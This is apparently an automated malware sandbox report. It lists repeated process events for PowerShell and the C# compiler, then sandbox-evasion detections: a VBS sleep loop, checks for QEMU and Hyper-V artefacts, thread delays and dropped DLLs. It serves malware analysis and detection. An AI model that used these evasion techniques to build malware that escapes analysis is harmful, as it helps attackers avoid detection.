            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Potential evasive VBS script found (sleep loop)
            Source: Initial fileInitial file: For i = 1 To len(h) step 2 if i mod 21 = 0 then Wscript.Sleep(1)
            Tries to detect Any.run
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Program Files\qga\qga.exe
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Program Files\qga\qga.exe
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEENT
            Source: powershell.exe, 0000000C.00000002.639577139.0000000007621000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Source: powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmpBinary or memory string: USER32NTDLLKERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=PROGRAMFILES=\INTERNET EXPLORER\IEINSTAL.EXEWINDIR=\SYSWOW64\MSHTML.TLBPROGRAMFILES=\INTERNET EXPLORER\IEINSTAL.EXEWINDIR=\SYSWOW64\MSHTML.TLB
            Source: powershell.exe, 0000001D.00000002.888004573.00000000076F0000.00000004.00000001.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE*
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6772Thread sleep time: -1844674407370954s >= -30000s
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 6436Thread sleep count: 117 > 30
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 6436Thread sleep time: -58500s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5700Thread sleep count: 1135 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5628Thread sleep count: 408 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3932Thread sleep count: 50 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512Thread sleep time: -14757395258967632s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4952Thread sleep count: 2004 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1904Thread sleep count: 6552 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4844Thread sleep time: -12912720851596678s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4844Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6572Thread sleep count: 2405 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6572Thread sleep count: 739 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4028Thread sleep count: 33 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040Thread sleep time: -10145709240540247s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3540Thread sleep count: 104 > 30
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4560Thread sleep time: -17524406870024063s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yy0zjl34.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tm43worv.dllJump to dropped file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4106
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1660
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1135
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 408
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2004
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6552
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2405
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 739
            Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSystem information queried: ModuleInformation
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
            Source: powershell.exe, 00000018.00000002.877914300.0000000004C44000.00000004.00000001.sdmpBinary or memory string: Hyper-V
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicshutdown
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
            Source: powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmpBinary or memory string: user32ntdllkernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=ProgramFiles=\internet explorer\ieinstal.exewindir=\syswow64\mshtml.tlbProgramFiles=\internet explorer\ieinstal.exewindir=\syswow64\mshtml.tlb
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Time Synchronization Service
            Source: powershell.exe, 0000001D.00000002.888004573.00000000076F0000.00000004.00000001.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe*
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicvss
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.877914300.0000000004C44000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.876865142.0000000004A60000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879668867.0000000004883000.00000004.00000001.sdmpBinary or memory string: \m:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exeent
            Source: powershell.exe, 0000000C.00000002.639577139.0000000007621000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Data Exchange Service
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Heartbeat Service
            Source: wscript.exe, 00000001.00000003.466346161.00000143096B7000.00000004.00000001.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
